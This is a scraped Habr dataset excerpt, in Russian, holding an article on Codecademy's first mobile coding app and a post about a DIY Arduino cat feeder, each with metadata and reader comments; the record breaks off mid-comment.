обучения программированию. Текстовые отзывы, которые ты получаешь после каждого вопроса, вдохновляют тебя, позволяют почувствовать, что ты справился с заданием и хорошо мотивируют твое хрупкое, но легко раздувающееся эго.<br/> <br/> На данный момент вся программа обучения разбита на пять частей, переходящих один в другой: введение («Приветствие»), Типы данных, Переменные, Сравнение и If… Else. Каждый раздел содержит несколько примеров и вопросов, составляющих ряд небольших уроков.<br/> <br/> Сам процесс обучения разработан с учетом обычных ограничений мобильных устройств: небольшого экрана и невозможности печатать много текста. В то время как десктопный сервис Codecademy поддерживает обучение путем выполнения заданий, приложение идет другим путем. Вместо написания собственного кода пользователи дописывают небольшие фрагменты в строчках кода, причем в большинстве случаев уже представлено несколько вариантрв ответов. В некоторых разделах вместо ответа на вопрос тебе нужно просто нажать кнопку «Запустить».<br/> <br/> Некоторые вопросы кажутся до нелепого простыми. Например, в вводном разделе тебя спрашивают «Сможешь ли ты написать программу, которая вычислит сколько будет ’6-2′?», и тебе нужно лишь подставить знак минус в «print(6? 2);» (нужно нажать на "?" и выбрать правильный вариант ответа).<br/> <br/> Ты можешь посмеяться и сказать, что программирование – это для чайников, что ты сделаешь собственное приложение и разбогатеешь.<br/> <br/> Единственная проблема в том, что в приложении не приведено никаких определений и приходится гуглить некоторые ответы. Скорее всего со временем это исправят, поскольку Codecademy продолжает развивать мобильное крыло своего бизнеса.<br/> <br/> Симс говорит, что цель состоит в том, чтобы создать платформонезависимый продукт, и приводит в качестве успешного примера образовательную компанию Duolingo. Но остаются ограничения при написании собственного кода, так что будет очень интересно как Codecademy справится с этим.</div>
Apps4All_post
Eliza Brooke
http://techcrunch.com/2013/12/09/codecademy-releases-its-first-educational-app-a-k-a-my-new-subway-time-killer/
Сегодня ребята из Codecademy сделали свой первый шаг в сфере создания приложений и выпустили вводный курс по программированию, который можно пройти менее чем за час.<br/> <br/> Запуск приложения был приурочен к интересному мероприятию <a href="http://csedweek.org/">Computer Science Education Week</a>, цель которого убедить 10 миллионов американских студентов один час позаниматься программированием (его поддерживает Apple, Facebook, правительство в лице Обамы, известные персоны). Более широкая цель приложения состоит в том, чтобы создать серию уроков, которые можно было бы понемногу проходить на ходу, что прекрасно подходит для занятых людей, желающих приобрести новые навыки.<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/9fe/e16/9ba/9fee169ba5d138a23d10fb6419334837.jpg"/> <img src="https://habrastorage.org/getpro/habr/post_images/5ce/6fd/2ee/5ce6fd2ee170eb01edbe82f2d3d2c68f.jpg"/>
Сегодня ребята из Codecademy сделали свой первый шаг в сфере создания приложений и выпустили вводный курс по программированию, который можно пройти менее чем за час. Запуск приложения был приурочен к интересному мероприятию Computer Science Education Week, цель которого убедить 10 миллионов американских студентов один час позаниматься программированием (его поддерживает Apple, Facebook, правительство в лице Обамы, известные персоны). Более широкая цель приложения состоит в том, чтобы создать серию уроков, которые можно было бы понемногу проходить на ходу, что прекрасно подходит для занятых людей, желающих приобрести новые навыки.
article
1,386,672,570
{ "commentsCount": 11, "favoritesCount": 64, "readingCount": 32721, "score": 12, "votesCount": 16, "votesCountPlus": 14, "votesCountMinus": 2 }
[ "translation" ]
[ "apps4all", "mobile_dev" ]
[ "develop" ]
[ "приложение", "программирование", "обучение", "codeacademy", "ios" ]
2
null
null
{ "id": [ 7081248, 7081274, 7081276, 7081312, 7081330, 7081340, 7082250, 7082946, 7082954, 7085440, 7087988 ], "parent_id": [ null, 7081248, 7081274, null, 7081312, 7081330, 7081274, 7082250, 7082946, 7082954, 7085440 ], "level": [ 0, 1, 2, 0, 1, 2, 2, 3, 4, 5, 6 ], "time_published": [ 1386672965, 1386673148, 1386673205, 1386673840, 1386674059, 1386674134, 1386687094, 1386698573, 1386698656, 1386758300, 1386798000 ], "score": [ 3, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0 ], "votes": [ 7, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так и знал, что для айфона… Грусть-печаль</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Значит, скоро подтянутся и остальные платформы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не факт</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ждем ответа от khan academy</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У них же вроде давно <a href=\"https://itunes.apple.com/ru/app/khan-academy/id469863705\">есть</a>?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мда, я слоупок :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">честно пытался разобраться в программировании C# под Android. Никогда не думал, что этот язык так можно сильно испортить. Добивает работа с интерфейсом. В каждой IDE свои варианты. Студент, начинающий программист. Может кто-то подскажет как упростить работу с интрефейсами, дабы не прописывать их в коде, а в отдельном файле как «форму»?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пишите на Java :) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">пойду сразу повешусь. А серьезно, пробовать надо, конечно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Плохому программисту Java мешает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Верно подмечено) <br/>\r\n</div>" ], "message_markdown": [ "Так и знал, что для айфона... Грусть-печаль", "Значит, скоро подтянутся и остальные платформы.", "Не факт", "Ждем ответа от khan academy", "У них же вроде давно есть?", "Мда, я слоупок :)", "честно пытался разобраться в программировании C# под Android. Никогда не думал, что этот язык так можно сильно испортить. Добивает работа с интерфейсом. В каждой IDE свои варианты. Студент, начинающий программист. Может кто-то подскажет как упростить работу с интрефейсами, дабы не прописывать их в коде, а в отдельном файле как «форму»?", "Пишите на Java :)", "пойду сразу повешусь. А серьезно, пробовать надо, конечно.", "Плохому программисту Java мешает.", "Верно подмечено)" ], "author": [ "Artem Kalachian (Bringoff)", "Алексей Свиридкин (lexfrei)", "Artem Kalachian (Bringoff)", "sl_bug", "Apps4All_post", "sl_bug", "Максим (iSodeska)", "Artem Kalachian (Bringoff)", "Максим (iSodeska)", "minoro", "Максим (iSodeska)" ], "children": [ [ 7081274 ], [ 7081276, 7082250 ], [], [ 7081330 ], [ 7081340 ], [], [ 7082946 ], [ 7082954 ], [ 7085440 ], [ 7087988 ], [] ] }
409,171
ru
https://habr.com/ru/post/409171/
Как собрать умную кормушку для кота
Если ваш кот достает вас по утрам, можно собрать кормушку менее чем за 1000 рублей и прокачать свои DIY навыки. Я приучил кота нажимать на кнопку для получения обычной еды и прибегать на звуки имперского марша для вкусняшек. Также я подключил эту кормушку и прочие интернет-устройства к стриму на YouTube, чтобы каждый мог поиграть с умными устройствами с другого конца земли через чат. К сожалению, мы сейчас путешествуем по Азии, поэтому кота покормить не получится, но поиграть с девайсами всё еще можно. Схема подключения Код для arduino
<div xmlns="http://www.w3.org/1999/xhtml"><div class="oembed"><div class="tm-iframe_temp" data-src="https://embedd.srv.habr.com/iframe/612371052077cda25f846cb8" data-style="" id="612371052077cda25f846cb8" width=""></div></div><br/> Если ваш кот достает вас по утрам, можно собрать кормушку менее чем за 1000 рублей и прокачать свои DIY навыки. Я приучил кота нажимать на кнопку для получения обычной еды и прибегать на звуки имперского марша для вкусняшек.<br/> <br/> Также я подключил эту кормушку и прочие интернет-устройства к <a href="https://www.youtube.com/watch?v=CGIF2mB5nUw">стриму на YouTube</a>, чтобы каждый мог поиграть с умными устройствами с другого конца земли через чат. К сожалению, мы сейчас путешествуем по Азии, поэтому кота покормить не получится, но поиграть с девайсами всё еще можно.<br/> <br/> <a href="https://circuits.io/circuits/2707080">Схема подключения</a><br/> <a href="https://gist.github.com/ulitiy/5c319f65c419dfa1af7ca2dcdebab3ce">Код для arduino</a></div>
Александр Улитин (Litiy)
null
null
<div class="oembed"><iframe allowfullscreen id="612371052077cda25f846cb8" src="https://embedd.srv.habr.com/iframe/612371052077cda25f846cb8"></iframe></div><br/> Если ваш кот достает вас по утрам, можно собрать кормушку менее чем за 1000 рублей и прокачать свои DIY навыки. Я приучил кота нажимать на кнопку для получения обычной еды и прибегать на звуки имперского марша для вкусняшек.<br/> <br/> Также я подключил эту кормушку и прочие интернет-устройства к <a href="https://www.youtube.com/watch?v=CGIF2mB5nUw">стриму на YouTube</a>, чтобы каждый мог поиграть с умными устройствами с другого конца земли через чат. К сожалению, мы сейчас путешествуем по Азии, поэтому кота покормить не получится, но поиграть с девайсами всё еще можно.<br/> <br/> <a href="https://circuits.io/circuits/2707080">Схема подключения</a><br/> <a href="https://gist.github.com/ulitiy/5c319f65c419dfa1af7ca2dcdebab3ce">Код для arduino</a>
Если ваш кот достает вас по утрам, можно собрать кормушку менее чем за 1000 рублей и прокачать свои DIY навыки. Я приучил кота нажимать на кнопку для получения обычной еды и прибегать на звуки имперского марша для вкусняшек. Также я подключил эту кормушку и прочие интернет-устройства к стриму на YouTube, чтобы каждый мог поиграть с умными устройствами с другого конца земли через чат. К сожалению, мы сейчас путешествуем по Азии, поэтому кота покормить не получится, но поиграть с девайсами всё еще можно. Схема подключения Код для arduino
article
1,514,436,976
{ "commentsCount": 63, "favoritesCount": 92, "readingCount": 19014, "score": 26, "votesCount": 36, "votesCountPlus": 31, "votesCountMinus": 5 }
[]
[ "home_automation", "DIY" ]
[ "popsci" ]
[ "кормушка", "коты", "diy или сделай сам", "умный дом" ]
1
tutorial
null
{ "id": [ 18508817, 18508819, 18508821, 18508823, 18508825, 18508827, 18508829, 18508831, 18508833, 18508835, 18508837, 18508839, 18508841, 18508843, 18508845, 18508847, 18508849, 18508851, 18508853, 18508855, 18508857, 18508859, 18508861, 18508863, 18508865, 18508867, 18508869, 18508871, 18508873, 18508875, 18508877, 18508879, 18508881, 18508883, 18508885, 18508887, 18508889, 18508891, 18508893, 18508895, 18508897, 18508899, 18508901, 18508903, 18508905, 18508907, 18508909, 18508911, 18508913, 18508915, 18508917, 18508919, 18508921, 18508923, 18508925, 18508927, 18508929, 18508931, 18508933, 18508935, 18508937, 18508939, 18508941 ], "parent_id": [ null, 18508817, null, null, 18508823, null, 18508827, null, 18508819, 18508831, 18508829, null, 18508839, null, null, 18508833, 18508847, 18508845, 18508849, null, 18508845, 18508853, 18508843, null, 18508861, 18508819, null, 18508865, 18508863, 18508873, null, 18508875, null, 18508821, null, null, 18508829, 18508837, 18508883, 18508849, 18508883, 18508841, 18508899, 18508889, 18508817, null, 18508891, 18508909, 18508911, 18508847, 18508913, 18508913, 18508911, 18508889, 18508865, 18508923, null, 18508883, 18508931, 18508933, 18508825, 18508935, 18508937 ], "level": [ 0, 1, 0, 0, 1, 0, 1, 0, 2, 1, 2, 0, 1, 0, 0, 3, 4, 1, 5, 0, 1, 6, 1, 0, 2, 2, 0, 3, 1, 2, 0, 3, 0, 1, 0, 0, 2, 3, 2, 5, 2, 2, 3, 3, 1, 0, 4, 5, 6, 4, 7, 7, 6, 3, 3, 4, 0, 2, 3, 4, 2, 5, 3 ], "time_published": [ 1514439006, 1514439157, 1514440751, 1514440828, 1514441172, 1514441324, 1514442029, 1514442842, 1514442980, 1514444817, 1514445205, 1514445483, 1514445726, 1514445821, 1514450360, 1514450885, 1514451290, 1514452375, 1514452601, 1514455672, 1514455994, 1514456982, 1514457854, 1514460127, 1514462063, 1514462468, 1514462518, 1514466959, 1514469152, 1514469970, 1514471502, 1514471821, 1514472558, 1514472764, 1514476485, 1514481161, 1514489485, 1514489565, 1514489817, 1514491517, 1514492697, 1514493193, 1514503226, 1514503831, 1514519719, 1514523480, 1514528199, 1514528526, 1514551647, 1514553829, 1514562550, 1514567631, 1514577422, 1514577520, 1514577968, 1514579543, 1514738891, 1516382288, 1516383894, 1516437776, 1516439016, 1516442379, 1516639569 ], "score": [ 0, 2, 4, 1, 0, 1, 0, 0, 5, 0, 1, 0, 0, 0, -3, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 3, 0, 0, 0, 0, 2, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 3, 1, 3, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 2, 8, 1, 0, 1, 0, 0, 5, 0, 1, 0, 0, 0, 3, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 3, 0, 0, 0, 0, 2, 0, 1, 1, 3, 1, 0, 0, 0, 1, 1, 1, 3, 1, 3, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это самый популярный вопрос на моих видео и реддите. Коты бывают разные, у меня такой проблемы нет за все 2 года, что кот может сам требовать еду, нажатием на кнопку, он себя контролирует. В любом случае, код поправить несложно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Извините, видимо вы случайно опубликовали черновик статьи.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А если при повороте кусочек корма заклинит между краями секторальных отверстий? <br/>\r\nИ как регулируется однократная порция?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не клинит, т.к. из-за загнутых краёв банки между ними есть расстояние и корм попадает в зазор между банками.<br/>\r\nПорция регулируется 1. углом поворота и 2. временем в состоянии открытия.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему в качестве вкусняшек дримис? он же не очень, от него идет привыкание у кошек.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я, к сожалению, не в курсе такой статистики. Поделитесь ссылкой?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я не очень понял момент, серва получается в куче корма \"бултыхается\"?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Просто зачем тогда такие сложности? Оставьте открытую пачку с едой и кот так же сможет есть сколько хочет :)<br/>\r\nНу или классическая кормушка \"для птиц\".</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, серва в нижней банке, а корм – в верхней.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Упрощенно если в составе больше 50% мяса\\белка, то корм уже класса премиум\\супер-премиум и его можно покупать. В моем городе такие корма в развес начинаются от 450 руб\\кг</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>С едой и вкусняшками понятно, а что с питьём?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В магазине есть решения типа <img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/7d2/df6/0ba/7d2df60baa7b830e6ff9939c072222bf.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/7d2/df6/0ba/7d2df60baa7b830e6ff9939c072222bf.jpg\" data-blurred=\"true\"/><br/>\r\nНо у меня кот не любит когда вода несвежая и просто будет пить из унитаза.<br/>\r\nЕсть еще фонтанчики для котов, можно попробовать купить/собрать такой, хорошая идея.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Поделитесь, как проблему с туалетом решали?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если занудствовать, то это все-таки не совсем за 1000 — нужны еще и инструменты, которые стоят заметно дороже и есть не у всех (у меня например их нет).</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тут другая проблема всплывает — корм на открытом воздухе высыхает (если «с подливкой») или просто выветривается запах и кот такое есть не хочет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вместо дремеля можно использовать обычный кухонный нож, я так и сделал первую кормушку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сухой корм мой кот тоже не охотно ест, если он залежался и потерял аромат. Я не пробовал навалить килограмм корма, но уверен, что он бы его есть не стал, по крайней мере, пока не оголодает. А с кормушкой и кот на кнопку тыкает, умнеет, и нас веселит, и корм насыпать только раз в неделю можно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Я приучил кота… прибегать на звуки имперского марша для вкусняшек.</blockquote>IMHO Сильно подозреваю что кот прибегает на звук падающих вкусняшек.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, а ещё нужен кот</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так он же и так под открытым небом в этой коробке лежит. <br/>\r\nА кот — консерву будет клянчить. Корм — и так дадут, а клянчить надо вкусняшку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как приучить кота к лотку? Взять скомковавшийся порошок из чужого лотка, котик пойдет перемечивать запах</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Стрелять-колотить, как же с дремелем-то страшно. Я бы столярным ножом бы вырезал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я имел в виду, как автоматизировать чистку лотка.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">><i>В любом случае, код поправить несложно.</i><br/>\r\nПоправится код или поправится кот.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Справа ферма, майним потихой :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня кошка на унитаз ходит)<br/>\r\nЗнаю, что сейчас даже специальные штуки для обучения в разных вариациях, но можно и по старинке стопкой газет…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что в нём такого страшного? Если Вы, конечно, зубных врачей не боитесь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как режущие диски разлетаются. Ну очки, предположим, на инженере-конструкторе были, а вот как там с остальной защитой — неясно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Странно, что Кот не завалил и не распотрошил эти цилиндры.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Там осколки очень легкие и не способны поранить кожу. Очков достаточно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://www.youtube.com/watch?v=KRBH21IvSrc\">www.youtube.com/watch?v=KRBH21IvSrc</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему вы так решили? Я вложил десятки часов в создание этого видео и считаю его достаточным для размещения здесь. Так даже легче усваивать материал, по-моему, да и тема соответствует заявленной. Я разжевал материал в <a href=\"https://www.instructables.com/id/Smart-Cat-Feeder/\">www.instructables.com/id/Smart-Cat-Feeder</a> т.к. модераторы сервиса просили меня делать детализированную пошаговую инструкцию, думаете такой формат был бы более подходящим для Geektimes?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот двое подростков из Севастополя (12 и 14 лет) пошли еще дальше, и создали, на базе автоматических кормушек собственной разработки, первый в мире автоматический <a href=\"https://youtu.be/xi6CeKq0rfM\">тренажер для кошек CatNFit</a><br/>\r\nПодали документы на патент на группу изобретений, ищут инвестора :)<br/>\r\nПогуглите «catnfit», об этом были публикации в СМИ.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Теперь Зв.войны придется в наушниках смотреть, чтобы кота не смущать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p><a href=\"https://www.reviews.com/cat-food/\">Очень детальный разбор котоеды.</a></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я проверял сухие корма от дешёвых до дорогих. Кот ест их одинаковое количество</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уверяю вас, дорогущую Acana без араматизаторов кот не ест, если выветрился запах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, на мой взгляд такой формат был бы более подходящим для Geektimes. Youtube для видосиков, Geektimes для многобуков, взболтать но не смешивать :)<br/>\r\n<br/>\r\nМатериал по ссылке как раз тянет на отличную статью.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">заметил что не свежеть коты игнорят при большой площади, то есть тазик воды они будут пить приоритетнее миски.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для кота большая миска привлекательнее маленькой, проточная вода привлекательнее стоячей. На инстинктивном уровне — в большом проточном водоеме вода свежее/чище, чем в маленьком стоячем.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Мы взяли почти две тысячи кормов, вычеркнули почти всё по принципам «ингредиент _может_ содержать ртуть», или «зонтичный бренд запятнал себя каким-то скандалом», или ещё подобными, и у нас осталось всего 8 марок.<br/>\r\n<br/>\r\nРазбор детальный, но уж слишком придирчивый. Попробуйте себе еду так покупать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Надо еще на подходе к кормушке стенку с отверстием поставить. Ну, или диафрагму регулируемую еще одной сервой. Кот пролез — зачит, не ожирел еще :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мой вариант<br/>\r\n<a href=\"https://geektimes.ru/post/255490/\">geektimes.ru/post/255490</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дело не в количестве поедаемого, а в последствиях для здоровья животного. Ветеринары вам подтвердят, что дешевые корма зачастую приводят к широкому списку заболеваний, от мочекаменной болезни, до артрита.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это заговор производителей кормов :-) Ветеринары вам еще и буклетик всучат своих спонсоров — какие корма надо покупать.<br/>\r\nЕсли по-хорошему, то покупным кормом вообще кормить не желательно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно. Но я уже однажды имел «удовольствие» лечить своего кота от мочекаменной болезни после упорного кормления его вискасом, так что теперь дешевых марок остерегаюсь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проблема не в том, что «запах выветривается», а в том, что на любой сухой корм для длительного хранения наносится защитный слой (упрощенно, из жира и антиоксидантов). Но на открытом воздухе жир достаточно быстро прогоркает (опять же, вне зависимости от качества и стоимости сухого корма, поэтому его критично важно хранить в закрытой упаковке). Соответственно корм портится, запах становится неприятным (даже если человек этого не ощущает), кот предусмотрительно не ест)) <br/>\r\n<br/>\r\nА влажный корм, естественно, вообще очень быстро портится, тут все как у людей — человек тоже вряд ли возжелает съесть простоявший со вчера на столе в тарелке обед. Хотя даже не факт, что им отравится. <br/>\r\n<br/>\r\nЗЫ. Ветеринарный диетолог</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мочекаменная именно от сухого корма, цена роли не играет. <br/>\r\nВ моём детстве у нас кот от неё умер. Сам себе завёл кошку — кормлю влажным, т.к. предубеждение против сухих кормов…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вискас вообще жесть :D Воняет мощно и отвратительно, у меня на него аллергия начинается.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Без тщательного расчета кормить домашним рационом — тоже только здоровье гробить) Коммерческий хотя бы сбалансирован. Но таки да, у кошек действительно проблемы с водопотреблением (в силу субтропического происхождения и особенностей строения почек), поэтому на сухом корме не все кошки пьют достаточно воды. Можно решать влажным кормом, если деньги есть, можно пробовать другими методами увеличивать водопотребление, тут как повезет. <br/>\r\nА вискас сам по себе не принципиально хуже дорогих кормов (да-да, я ветеринар, пришла всучивать буклетики). Если он, конечно, не на развес — как уже писалось выше, корма вне вакуумной упаковки портятся очень быстро, мало того, что прогорклый жир сам по себе не полезен, так еще и часть витаминов разрушается. Кстати, кормов с содержанием белка 50% и выше практически не бывает, если что) По крайней мере, мне в практике не встречались. А если корма, продающиеся на развес, называют «супер-премиум» — это какой-то аццкий обман трудящихся. В смысле, они могут быть хоть холистиками — только вот нарушенные условия хранения сводят на нет всю предполагаемую пользу. Хотя действительно более дешевые корма в данном случае могут портиться больше и быстрее, чем более дорогие, но это странное сравнение. Лучше уж любой, какой по нраву кошке (если кошка на корме чувствует себя хорошо, шерсть в порядке, стул и диурез тоже, она получает его по рекомендованной норме и не получает дополнительно ничего, что нарушило бы баланс нутриентов) — значит, он ей подходит) покупать в ненарушенной упаковке.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот этот разбор гораздо больше смахивает на заговор производителей. Просто в силу того, что столь дорогостоящее исследование осмысленно проводить только тем, кто получит от него выгоду, а с научной точки зрения такие обзоры никому не сдались.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А уже есть промышленные лотки-унитазы для кошек, кстати) То есть автоматизировать должно быть не сложно. Причем есть и версии прям унитазов, которые требуют подключения к водопроводу и канализации, а есть автономные, которые сгребают комки из наполнителя в резервуар. Правда, без комкующегося наполнителя нереализуемо)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Это точно не заговор. Заговор — это когда в тайне, а у них прямо в подвале на каждой странице написано что с некоторыми из упоминаемых фирм у них есть партнерские отношения:</p><br/>\r\n<blockquote>Reviews.com has an advertising relationship with some of the offers included on this page.</blockquote><p>Они при этом <a href=\"https://www.reviews.com/how-we-make-money/\">клятвенно уверяют </a> что отношения никак не влияют на вердикты и ранжирование и вообще команды занимающиеся разбором никак не контактируют с бизнес командами. Верить им или нет — личный выбор каждого, доказательства купленных обзоров мы вряд ли увидим, как и их отсутствие (что вообще нереально).</p><br/>\r\n<p>P.S. Я не защищаю и не обвиняю этих ребят, просто делюсь найденной информацией.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А где подробности как к ютубу подключать?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Формат «текст+иллюстрации» — в самый раз для гиктаймса, в отличие от видео и аудио.<br/>\r\nТекст с иллюстрациями позволяет:<br/>\r\n1) за несколько секунд бегло просмотреть и понять, стоит ли вчитываться<br/>\r\n2) можно быстро пропускать ненужные фрагменты и углубляться только в заинересовавшие<br/>\r\n3) ну и вообще, быстро и точно выполнять навигацию вперёд-назад и по тексту и по иллюстрациям (не говоря уже о банальном поиске по тексту).<br/>\r\n<br/>\r\nДля авторов, зачастую (не всегда, конечно), создание текстовой статьи влечёт большие времязатраты, чем съёмка видео, но это перекрывается уменьшением суммарных времязатрат потребителей контента. <br/>\r\nА в данном случае автор таки сделал статью подходящего формата, так что и экономии не получил.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ИМХО, видео, на которое ушло меньше времени, чем на изложение того же самого текстом, нет смысла смотреть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">но зритель этого не узнает, пока не посмотрит</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А регулировка порции зависит от количества корма в бункере? <br/>\r\n<br/>\r\nВедь при фиксированных параметрах — порция может изменяться в зависимости от скорости насыпания, а скорость — от высоты «столба» гранул. <br/>\r\nХотя интуиция подсказывает, что для гранул зависимость менее выражена, чем для жидкостей. <br/>\r\n<br/>\r\nЕсть какие-то исследования, показывающие стабильность этой скорости в подобных граничных условиях? Собственно, в качестве таковых годится опыт эксплуатации — если порции неразличимы на глаз — это достаточная стабильность.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поэтому я вообще не смотрю видео.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не замечал разницы в размере порции в зависимости от высоты. Я бы сказал, что от рандома зависит куда больше (т.к. отверстия не очень большие, а зёрнышки имеют свойство зацепляться друг за друга, то бывает просто случайно выпадает то больше, то меньше, а еще и моторчик когда дёргает туда-сюда, то вытряхивает определенное количество). Я делал 10 тестовых запусков и делал так, чтобы одно срабатывание выдавало в среднем 15 зёрнышек. Бывало и 8, и 20. Для моих целей – достаточная точность.</div>" ], "message_markdown": [ "UFO just landed and posted this here", "Это самый популярный вопрос на моих видео и реддите. Коты бывают разные, у меня такой проблемы нет за все 2 года, что кот может сам требовать еду, нажатием на кнопку, он себя контролирует. В любом случае, код поправить несложно.", "Извините, видимо вы случайно опубликовали черновик статьи.", "А если при повороте кусочек корма заклинит между краями секторальных отверстий?\nИ как регулируется однократная порция?", "Не клинит, т.к. из-за загнутых краёв банки между ними есть расстояние и корм попадает в зазор между банками.\nПорция регулируется 1. углом поворота и 2. временем в состоянии открытия.", "Почему в качестве вкусняшек дримис? он же не очень, от него идет привыкание у кошек.", "Я, к сожалению, не в курсе такой статистики. Поделитесь ссылкой?", "Я не очень понял момент, серва получается в куче корма \"бултыхается\"?", "Просто зачем тогда такие сложности? Оставьте открытую пачку с едой и кот так же сможет есть сколько хочет :)\nНу или классическая кормушка \"для птиц\".", "Нет, серва в нижней банке, а корм – в верхней.", "Упрощенно если в составе больше 50% мяса\\белка, то корм уже класса премиум\\супер-премиум и его можно покупать. В моем городе такие корма в развес начинаются от 450 руб\\кг", "С едой и вкусняшками понятно, а что с питьём?", "В магазине есть решения типа\nНо у меня кот не любит когда вода несвежая и просто будет пить из унитаза.\nЕсть еще фонтанчики для котов, можно попробовать купить/собрать такой, хорошая идея.", "Поделитесь, как проблему с туалетом решали?", "Если занудствовать, то это все-таки не совсем за 1000 — нужны еще и инструменты, которые стоят заметно дороже и есть не у всех (у меня например их нет).", "Тут другая проблема всплывает — корм на открытом воздухе высыхает (если «с подливкой») или просто выветривается запах и кот такое есть не хочет.", "UFO just landed and posted this here", "Вместо дремеля можно использовать обычный кухонный нож, я так и сделал первую кормушку.", "Сухой корм мой кот тоже не охотно ест, если он залежался и потерял аромат. Я не пробовал навалить килограмм корма, но уверен, что он бы его есть не стал, по крайней мере, пока не оголодает. А с кормушкой и кот на кнопку тыкает, умнеет, и нас веселит, и корм насыпать только раз в неделю можно.", "> Я приучил кота... прибегать на звуки имперского марша для вкусняшек.\nIMHO Сильно подозреваю что кот прибегает на звук падающих вкусняшек.", "Ага, а ещё нужен кот", "Так он же и так под открытым небом в этой коробке лежит.\nА кот — консерву будет клянчить. Корм — и так дадут, а клянчить надо вкусняшку.", "Как приучить кота к лотку? Взять скомковавшийся порошок из чужого лотка, котик пойдет перемечивать запах", "Стрелять-колотить, как же с 